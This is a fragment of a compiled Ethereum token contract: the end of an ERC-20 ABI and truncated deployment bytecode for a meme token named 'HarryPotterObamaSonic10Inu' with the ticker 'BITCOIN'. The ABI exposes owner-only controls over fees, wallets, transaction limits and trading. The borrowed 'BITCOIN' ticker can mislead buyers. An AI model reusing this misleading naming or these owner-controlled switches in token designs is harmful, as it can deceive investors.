],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"updateAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"marketingFee","type":"uint256"},{"internalType":"uint256","name":"rewardFee","type":"uint256"},{"internalType":"uint256","name":"liquidityFee","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateMarketingAddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateRewardAddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526001600d5f6101000a81548160ff0219169083151502179055505f600d60016101000a81548160ff0219169083151502179055506040518060400160405280601a81526020017f4861727279506f747465724f62616d61536f6e69633130496e750000000000008152506040518060400160405280600781526020017f424954434f494e000000000000000000000000000000000000000000000000008152508160039081620000b5919062000e22565b508060049081620000c7919062000e22565b505050620000ea620000de6200068460201b60201c565b6200068b60201b60201c565b737a250d5630b4cf539739df2c5dacb4c659f2488d60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001a9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001cf919062000f6b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000256573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200027c919062000f6b565b6040518363ffffffff1660e01b81526004016200029b92919062000fac565b6020604051808303815f875af1158015620002b8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002de919062000f6b565b60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200035160075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200074e60201b60201c565b6200038560065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001620007fe60201b60201c565b5f6b033b2e3c9fd0803ce800000090506064600382620003a6919062001004565b620003b291906200107b565b600a819055506064600382620003c9919062001004565b620003d591906200107b565b600c81905550612710600a82620003ed919062001004565b620003f991906200107b565b600b819055505f600f819055505f6011819055505f6010819055505f60138190555073aa557d0f386620ecb7a60c32ebb5bcbc8d6494be60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073aa557d0f386620ecb7a60c32ebb5bcbc8d6494be60095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f6014819055505f601281905550601054601154600f54620004e69190620010b2565b620004f29190620010b2565b600e819055506200051a6200050c620008e560201b60201c565b6001620007fe60201b60201c565b6200054e60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200090d60201b60201c565b620005613060016200090d60201b60201c565b6200057661dead60016200090d60201b60201c565b620005986200058a620008e560201b60201c565b60016200090d60201b60201c565b620005cc60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200090d60201b60201c565b6200060060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001620007fe60201b60201c565b6200063460095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001620007fe60201b60201c565b62000647306001620007fe60201b60201c565b6200065c61dead6001620007fe60201b60201c565b6200067d62000670620008e560201b60201c565b8262000a4460201b60201c565b506200123b565b5f33905090565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620007b48282620007fe60201b60201c565b8015158273ffffffffffffffffffffffffffffffffffffffff167fb6f1aed3b1ced30ce666a8b7f2e12b02aed514cdab677738640be9937f13320560405160405180910390a35050565b6200080e6200068460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1662000834620008e560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16146200088d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000884906200114a565b60405180910390fd5b8060195f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6200091d6200068460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1662000943620008e560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16146200099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000993906200114a565b60405180910390fd5b8060185f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f70f4a8cecbee3fa1db90cdac926e8bb233e133126cd4755940cfe4c8cbc5c14a8260405162000a38919062001186565b60405180910390a25050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000ab5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000aac90620011ef565b60405180910390fd5b62000ac85f838362000bb460201b60201c565b8060025f82825462000adb9190620010b2565b92505081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825462000b2f9190620010b2565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000b95919062001220565b60405180910390a362000bb05f838362000bb960201b60201c565b5050565b505050565b505050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000c3a57607f821691505b60208210810362000c505762000c4f62000bf5565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000cb47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000c77565b62000cc0868362000c77565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000d0a62000d0462000cfe8462000cd8565b62000ce1565b62000cd8565b9050919050565b5f819050919050565b62000d258362000cea565b62000d3d62000d348262000d11565b84845462000c83565b825550505050565b5f90565b62000d5362000d45565b62000d6081848462000d1a565b505050565b5b8181101562000d875762000d7b5f8262000d49565b60018101905062000d66565b5050565b601f82111562000dd65762000da08162000c56565b62000dab8462000c68565b8101602085101562000dbb578190505b62000dd362000dca8562000c68565b83018262000d65565b50505b505050565b5f82821c905092915050565b5f62000df85f198460080262000ddb565b1980831691505092915050565b5f62000e12838362000de7565b9150826002028217905092915050565b62000e2d8262000bbe565b67ffffffffffffffff81111562000e495762000e4862000bc8565b5b62000e55825462000c22565b62000e6282828562000d8b565b5f60209050601f83116001811462000e98575f841562000e83578287015190505b62000e8f858262000e05565b86555062000efe565b601f19841662000ea88662000c56565b5f5b8281101562000ed15784890151825560018201915060208501945060208101905062000eaa565b8683101562000ef1578489015162000eed601f89168262000de7565b8355505b6001600288020188555050505b505050505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000f358262000f0a565b9050919050565b62000f478162000f29565b811462000f52575f80fd5b50565b5f8151905062000f658162000f3c565b92915050565b5f6020828403121562000f835762000f8262000f06565b5b5f62000f928482850162000f55565b91505092915050565b62000fa68162000f29565b82525050565b5f60408201905062000fc15f83018562000f9b565b62000fd0602083018462000f9b565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f620010108262000cd8565b91506200101d8362000cd8565b92508282026200102d8162000cd8565b9150828204841483151762001047576200104662000fd7565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f620010878262000cd8565b9150620010948362000cd8565b925082620010a757620010a66200104e565b5b828204905092915050565b5f620010be8262000cd8565b9150620010cb8362000cd8565b9250828201905080821115620010e657620010e562000fd7565b5b92915050565b5f82825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f62001132602083620010ec565b91506200113f82620010fc565b602082019050919050565b5f6020820190508181035f830152620011638162001124565b9050919050565b5f8115159050919050565b62001180816200116a565b82525050565b5f6020820190506200119b5f83018462001175565b92915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f620011d7601f83620010ec565b9150620011e482620011a1565b602082019050919050565b5f6020820190508181035f8301526200120881620011c9565b9050919050565b6200121a8162000cd8565b82525050565b5f602082019050620012355f8301846200120f565b92915050565b61444380620012495f395ff3fe60806040526004361061021d575f3560e01c80637571336a11610122578063ae76b090116100aa578063d257b34f1161006e578063d257b34f14610798578063dd62ed3e146107d4578063e73b90cd14610810578063f2fde38b1461083a578063fea4fa4d1461086257610224565b8063ae76b090146106ce578063b62496f5146106e4578063bfcc47d614610720578063c18bc19514610748578063cb94a3701461077057610224565b806395d89b41116100f157806395d89b41146105da5780639c74daf0146106045780639c9e90cb1461062e578063a457c2d714610656578063a9059cbb1461069257610224565b80637571336a1461054857806382247ec014610570578063883755631461059a5780638da5cb5b146105b057610224565b8063313ce567116101a55780635342acb4116101745780635342acb414610466578063583e0568146104a257806370a08231146104cc578063715018a614610508578063751039fc1461051e57610224565b8063313ce567146103c2578063339578fe146103ec57806339509351146104025780634ec27aac1461043e57610224565b8063203e727e116101ec578063203e727e146102e2578063224290851461030a57806323b872dd1461033257806327f4d7d51461036e5780632fd689e31461039857610224565b806304beaeb81461022857806306fdde0314610252578063095ea7b31461027c57806318160ddd146102b857610224565b3661022457005b5f80fd5b348015610233575f80fd5b5061023c61088c565b60405161024991906131ff565b60405180910390f35b34801561025d575f80fd5b50610266610892565b60405161027391906132a2565b60405180910390f35b348015610287575f80fd5b506102a2600480360381019061029d919061334a565b610922565b6040516102af91906133a2565b60405180910390f35b3480156102c3575f80fd5b506102cc610944565b6040516102d991906131ff565b60405180910390f35b3480156102ed575f80fd5b50610308600480360381019061030391906133bb565b61094d565b005b348015610315575f80fd5b50610330600480360381019061032b91906133e6565b610a5c565b005b34801561033d575f80fd5b5061035860048036038101906103539190613436565b610b5b565b60405161036591906133a2565b60405180910390f35b348015610379575f80fd5b50610382610b89565b60405161038f91906133a2565b60405180910390f35b3480156103a3575f80fd5b506103ac610b9c565b6040516103b991906131ff565b60405180910390f35b3480156103cd575f80fd5b506103d6610ba2565b6040516103e391906134a1565b60405180910390f35b3480156103f7575f80fd5b50610400610baa565b005b34801561040d575f80fd5b506104286004803603810190610423919061334a565b610c2f565b60405161043591906133a2565b60405180910390f35b348015610449575f80fd5b50610464600480360381019061045f91906134e4565b610c65565b005b348015610471575f80fd5b5061048c60048036038101906104879190613522565b610dc4565b60405161049991906133a2565b60405180910390f35b3480156104ad575f80fd5b506104b6610e16565b6040516104c391906135a8565b60405180910390f35b3480156104d7575f80fd5b506104f260048036038101906104ed9190613522565b610e3b565b6040516104ff91906131ff565b60405180910390f35b348015610513575f80fd5b5061051c610e80565b005b348015610529575f80fd5b50610532610f07565b60405161053f91906133a2565b60405180910390f35b348015610553575f80fd5b5061056e600480360381019061056991906134e4565b610fa4565b005b34801561057b575f80fd5b50610584611078565b60405161059191906131ff565b60405180910390f35b3480156105a5575f80fd5b506105ae61107e565b005b3480156105bb575f80fd5b506105c4611117565b6040516105d191906135d0565b60405180910390f35b3480156105e5575f80fd5b506105ee61113f565b6040516105fb91906132a2565b60405180910390f35b34801561060f575f80fd5b506106186111cf565b60405161062591906135d0565b60405180910390f35b348015610639575f80fd5b50610654600480360381019061064f91906134e4565b6111f4565b005b348015610661575f80fd5b5061067c6004803603810190610677919061334a565b611316565b60405161068991906133a2565b60405180910390f35b34801561069d575f80fd5b506106b860048036038101906106b3919061334a565b61138b565b6040516106c591906133a2565b60405180910390f35b3480156106d9575f80fd5b506106e26113ad565b005b3480156106ef575f80fd5b5061070a60048036038101906107059190613522565b611432565b60405161071791906133a2565b60405180910390f35b34801561072b575f80fd5b5061074660048036038101906107419190613522565b61144f565b005b348015610753575f80fd5b5061076e600480360381019061076991906133bb565b61150e565b005b34801561077b575f80fd5b5061079660048036038101906107919190613522565b61161d565b005b3480156107a3575f80fd5b506107be60048036038101906107b991906133bb565b6116dc565b6040516107cb91906133a2565b60405180910390f35b3480156107df575f80fd5b506107fa60048036038101906107f591906135e9565b611830565b60405161080791906131ff565b60405180910390f35b34801561081b575f80fd5b506108246118b2565b60405161083191906133a2565b60405180910390f35b348015610845575f80fd5b50610860600480360381019061085b9190613522565b6118c4565b005b34801561086d575f80fd5b506108766119ba565b60405161088391906131ff565b60405180910390f35b600a5481565b6060600380546108a190613654565b80601f01602080910402602001604051908101604052809291908181526020018280546108cd90613654565b80156109185780601f106108ef57610100808354040283529160200191610918565b820191905f5260205f20905b8154815290600101906020018083116108fb57829003601f168201915b5050505050905090565b5f8061092c6119c0565b90506109398185856119c7565b600191505092915050565b5f600254905090565b6109556119c0565b73ffffffffffffffffffffffffffffffffffffffff16610973611117565b73ffffffffffffffffffffffffffffffffffffffff16146109c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c0906136ce565b60405180910390fd5b670de0b6b3a76400006103e860016109df610944565b6109e99190613719565b6109f39190613787565b6109fd9190613787565b811015610a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3690613827565b60405180910390fd5b670de0b6b3a764000081610a539190613719565b600a8190555050565b610a646119c0565b73ffffffffffffffffffffffffffffffffffffffff16610a82611117565b73ffffffffffffffffffffffffffffffffffffffff1614610ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acf906136ce565b60405180910390fd5b82600f819055508160118190555080601081905550601054601154600f54610b009190613845565b610b0a9190613845565b600e81905550600a600e541115610b56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4d906138c2565b60405180910390fd5b505050565b5f80610b656119c0565b9050610b72858285611b8a565b610b7d858585611c15565b60019150509392505050565b600d60019054906101000a900460ff1681565b600b5481565b5f6012905090565b610bb26119c0565b73ffffffffffffffffffffffffffffffffffffffff16610bd0611117565b73ffffffffffffffffffffffffffffffffffffffff1614610c26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1d906136ce565b60405180910390fd5b5f601481905550565b5f80610c396119c0565b9050610c5a818585610c4b8589611830565b610c559190613845565b6119c7565b600191505092915050565b610c6d6119c0565b73ffffffffffffffffffffffffffffffffffffffff16610c8b611117565b73ffffffffffffffffffffffffffffffffffffffff1614610ce1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd8906136ce565b60405180910390fd5b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6790613950565b60405180910390fd5b610d7a82826123ba565b8015158273ffffffffffffffffffffffffffffffffffffffff167fb6f1aed3b1ced30ce666a8b7f2e12b02aed514cdab677738640be9937f13320560405160405180910390a35050565b5f60185f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610e886119c0565b73ffffffffffffffffffffffffffffffffffffffff16610ea6611117565b73ffffffffffffffffffffffffffffffffffffffff1614610efc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef3906136ce565b60405180910390fd5b610f055f612462565b565b5f610f106119c0565b73ffffffffffffffffffffffffffffffffffffffff16610f2e611117565b73ffffffffffffffffffffffffffffffffffffffff1614610f84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7b906136ce565b60405180910390fd5b5f600d5f6101000a81548160ff0219169083151502179055506001905090565b610fac6119c0565b73ffffffffffffffffffffffffffffffffffffffff16610fca611117565b73ffffffffffffffffffffffffffffffffffffffff1614611020576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611017906136ce565b60405180910390fd5b8060195f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b600c5481565b6110866119c0565b73ffffffffffffffffffffffffffffffffffffffff166110a4611117565b73ffffffffffffffffffffffffffffffffffffffff16146110fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f1906136ce565b60405180910390fd5b6001600d60016101000a81548160ff021916908315150217905550565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461114e90613654565b80601f016020809104026020016040519081016040528092919081815260200182805461117a90613654565b80156111c55780601f1061119c576101008083540402835291602001916111c5565b820191905f5260205f20905b8154815290600101906020018083116111a857829003601f168201915b5050505050905090565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6111fc6119c0565b73ffffffffffffffffffffffffffffffffffffffff1661121a611117565b73ffffffffffffffffffffffffffffffffffffffff1614611270576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611267906136ce565b60405180910390fd5b8060185f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f70f4a8cecbee3fa1db90cdac926e8bb233e133126cd4755940cfe4c8cbc5c14a8260405161130a91906133a2565b60405180910390a25050565b5f806113206119c0565b90505f61132d8286611830565b905083811015611372576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611369906139de565b60405180910390fd5b61137f82868684036119c7565b60019250505092915050565b5f806113956119c0565b90506113a2818585611c15565b600191505092915050565b6113b56119c0565b73ffffffffffffffffffffffffffffffffffffffff166113d3611117565b73ffffffffffffffffffffffffffffffffffffffff1614611429576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611420906136ce565b60405180910390fd5b5f601381905550565b601b602052805f5260405f205f915054906101000a900460ff1681565b6114576119c0565b73ffffffffffffffffffffffffffffffffffffffff16611475611117565b73ffffffffffffffffffffffffffffffffffffffff16146114cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c2906136ce565b60405180910390fd5b8060095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6115166119c0565b73ffffffffffffffffffffffffffffffffffffffff16611534611117565b73ffffffffffffffffffffffffffffffffffffffff161461158a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611581906136ce565b60405180910390fd5b670de0b6b3a76400006103e860056115a0610944565b6115aa9190613719565b6115b49190613787565b6115be9190613787565b811015611600576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f790613a6c565b60405180910390fd5b670de0b6b3a7640000816116149190613719565b600c8190555050565b6116256119c0565b73ffffffffffffffffffffffffffffffffffffffff16611643611117565b73ffffffffffffffffffffffffffffffffffffffff1614611699576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611690906136ce565b60405180910390fd5b8060085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f6116e56119c0565b73ffffffffffffffffffffffffffffffffffffffff16611703611117565b73ffffffffffffffffffffffffffffffffffffffff1614611759576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611750906136ce565b60405180910390fd5b620186a06001611767610944565b6117719190613719565b61177b9190613787565b8210156117bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b490613afa565b60405180910390fd5b6103e860056117ca610944565b6117d49190613719565b6117de9190613787565b821115611820576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181790613b88565b60405180910390fd5b81600b8190555060019050919050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600d5f9054906101000a900460ff1681565b6118cc6119c0565b73ffffffffffffffffffffffffffffffffffffffff166118ea611117565b73ffffffffffffffffffffffffffffffffffffffff1614611940576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611937906136ce565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036119ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a590613c16565b60405180910390fd5b6119b781612462565b50565b600e5481565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2c90613ca4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611aa3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9a90613d32565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611b7d91906131ff565b60405180910390a3505050565b5f611b958484611830565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611c0f5781811015611c01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf890613d9a565b60405180910390fd5b611c0e84848484036119c7565b5b50505050565b5f60185f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611cb1575060185f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b90505f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611d21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1890613e28565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611d8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8690613eb6565b60405180910390fd5b600d60019054906101000a900460ff1680611da75750805b611de6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ddd90613f1e565b60405180910390fd5b5f8203611dfe57611df884845f612525565b506123b5565b5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015611ea2575060195f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b90505f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015611f48575060195f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b90505f611f53611117565b73ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161480611fbe5750611f8f611117565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b90505f8073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161480612028575061dead73ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16145b90505f82806120345750815b8061204b5750600760149054906101000a900460ff165b9050600d5f9054906101000a900460ff168015612066575080155b1561221757841561211357600a548711156120b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ad90613fac565b60405180910390fd5b600c546120c289610e3b565b886120cd9190613845565b111561210e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161210590614014565b60405180910390fd5b612216565b836122155760195f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156121b6575060195f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561221457600c546121c789610e3b565b886121d29190613845565b1115612213576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161220a90614014565b60405180910390fd5b5b5b5b5b600760149054906101000a900460ff1615801561227b5750601b5f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156122ce575060185f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015612321575060185f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156123a1575f601a54111561233b575050505050506123b5565b5f61234530610e3b565b90505f600b54821015905080801561235b575087155b1561239e576001600760146101000a81548160ff02191690831515021790555061238361279a565b5f600760146101000a81548160ff0219169083151502179055505b50505b6123ae8989898789612a4e565b5050505050505b505050565b80601b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506124188282610fa4565b8015158273ffffffffffffffffffffffffffffffffffffffff167fb6f1aed3b1ced30ce666a8b7f2e12b02aed514cdab677738640be9937f13320560405160405180910390a35050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612593576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258a90613e28565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612601576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125f890613eb6565b60405180910390fd5b61260c838383612c2a565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101561268f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612686906140a2565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461271d9190613845565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161278191906131ff565b60405180910390a3612794848484612c2f565b50505050565b5f6127a430610e3b565b90505f6016546015546017546127ba9190613845565b6127c49190613845565b90505f8214806127d357505f81145b156127df575050612a4c565b600b548211156127ef57600b5491505b5f600282601754856128019190613719565b61280b9190613787565b6128159190613787565b90505f61282b8285612c3490919063f